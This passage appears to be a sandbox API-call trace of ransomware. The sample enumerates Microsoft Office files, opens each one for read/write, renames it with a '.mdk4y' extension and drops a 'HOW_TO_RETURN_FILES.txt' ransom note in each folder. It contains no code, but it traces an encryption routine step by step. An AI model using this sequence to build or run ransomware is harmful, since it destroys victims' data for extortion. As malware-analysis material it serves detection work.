Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css.mdk4y")) returned 1 [0196.532] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.532] AreFileApisANSI () returned 1 [0196.532] GetACP () returned 0x4e4 [0196.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME51.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME51.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.532] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827176300000) returned 1 [0196.533] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1df68, lpOverlapped=0x0) returned 1 [0196.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827176500000) returned 1 [0196.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827176500000) returned 1 [0196.536] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css.mdk4y")) returned 1 [0196.537] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.537] AreFileApisANSI () returned 1 [0196.537] GetACP () returned 0x4e4 [0196.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME52.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME52.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.537] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827176800000) returned 1 [0196.538] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e254, lpOverlapped=0x0) returned 1 [0196.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827178500000) returned 1 [0196.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827178500000) returned 1 [0196.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css.mdk4y")) returned 1 [0196.558] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.558] AreFileApisANSI () returned 1 [0196.558] GetACP () returned 0x4e4 [0196.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME53.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME53.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827178800000) returned 1 [0196.559] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e6a4, lpOverlapped=0x0) returned 1 [0196.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827179000000) returned 1 [0196.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827179000000) returned 1 [0196.562] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css.mdk4y")) returned 1 [0196.562] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.562] AreFileApisANSI () returned 1 [0196.562] GetACP () returned 0x4e4 [0196.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME54.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME54.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827179300000) returned 1 [0196.563] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f064, lpOverlapped=0x0) returned 1 [0196.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827180900000) returned 1 [0196.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827180900000) returned 1 [0196.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css.mdk4y")) returned 1 [0196.582] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.582] AreFileApisANSI () returned 1 [0196.582] GetACP () returned 0x4e4 [0196.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHEME55.CSS", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCHEME55.CSS", lpUsedDefaultChar=0x37dec0) returned 12 [0196.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827181200000) returned 1 [0196.582] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e114, lpOverlapped=0x0) returned 1 [0196.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827183400000) returned 1 [0196.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827183400000) returned 1 [0196.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css.mdk4y")) returned 1 [0196.606] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0196.606] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0196.607] AreFileApisANSI () returned 1 [0196.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0196.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0196.607] GetFileType (hFile=0xd8) returned 0x1 [0196.608] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0196.608] AreFileApisANSI () returned 1 [0196.608] GetACP () returned 0x4e4 [0196.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBSPAPR", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PUBSPAPR", lpUsedDefaultChar=0x37df4c) returned 8 [0196.608] AreFileApisANSI () returned 1 [0196.608] GetACP () returned 0x4e4 [0196.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\j\x04") returned 57 [0196.629] AreFileApisANSI () returned 1 [0196.629] GetACP () returned 0x4e4 [0196.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0196.629] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.630] AreFileApisANSI () returned 1 [0196.630] GetACP () returned 0x4e4 [0196.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0196.630] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.630] AreFileApisANSI () returned 1 [0196.630] GetACP () returned 0x4e4 [0196.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PAPERS.INI", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PAPERS.INItefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 10 [0196.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827186100000) returned 1 [0196.631] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x182b, lpOverlapped=0x0) returned 1 [0196.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827195800000) returned 1 [0196.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827195800000) returned 1 [0196.728] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini.mdk4y")) returned 1 [0196.730] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.730] AreFileApisANSI () returned 1 [0196.730] GetACP () returned 0x4e4 [0196.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR10F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR10F.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0196.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827196000000) returned 1 [0196.731] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3bb5, lpOverlapped=0x0) returned 1 [0196.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827197300000) returned 1 [0196.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827197300000) returned 1 [0196.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif.mdk4y")) returned 1 [0196.745] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.745] AreFileApisANSI () returned 1 [0196.745] GetACP () returned 0x4e4 [0196.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR11F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR11F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827197500000) returned 1 [0196.746] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x142f, lpOverlapped=0x0) returned 1 [0196.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827201000000) returned 1 [0196.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827201000000) returned 1 [0196.780] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif.mdk4y")) returned 1 [0196.785] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.785] AreFileApisANSI () returned 1 [0196.785] GetACP () returned 0x4e4 [0196.785] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR12F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR12F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.785] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827201600000) returned 1 [0196.786] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x46df, lpOverlapped=0x0) returned 1 [0196.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827201700000) returned 1 [0196.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827201800000) returned 1 [0196.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif.mdk4y")) returned 1 [0196.789] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.789] AreFileApisANSI () returned 1 [0196.789] GetACP () returned 0x4e4 [0196.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR13F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR13F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.790] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827202200000) returned 1 [0196.792] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x430d, lpOverlapped=0x0) returned 1 [0196.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827214200000) returned 1 [0196.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827214200000) returned 1 [0196.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif.mdk4y")) returned 1 [0196.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.914] AreFileApisANSI () returned 1 [0196.914] GetACP () returned 0x4e4 [0196.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR14F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR14F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.914] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827214500000) returned 1 [0196.915] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5cb7, lpOverlapped=0x0) returned 1 [0196.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827217000000) returned 1 [0196.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827217000000) returned 1 [0196.940] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif.mdk4y")) returned 1 [0196.941] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.941] AreFileApisANSI () returned 1 [0196.941] GetACP () returned 0x4e4 [0196.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR15F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR15F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0196.941] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0196.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827217200000) returned 1 [0196.942] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1cb8, lpOverlapped=0x0) returned 1 [0196.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827220600000) returned 1 [0196.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827220600000) returned 1 [0196.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif.mdk4y")) returned 1 [0196.977] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0196.977] AreFileApisANSI () returned 1 [0196.977] GetACP () returned 0x4e4 [0196.977] WideCharToMultiByte 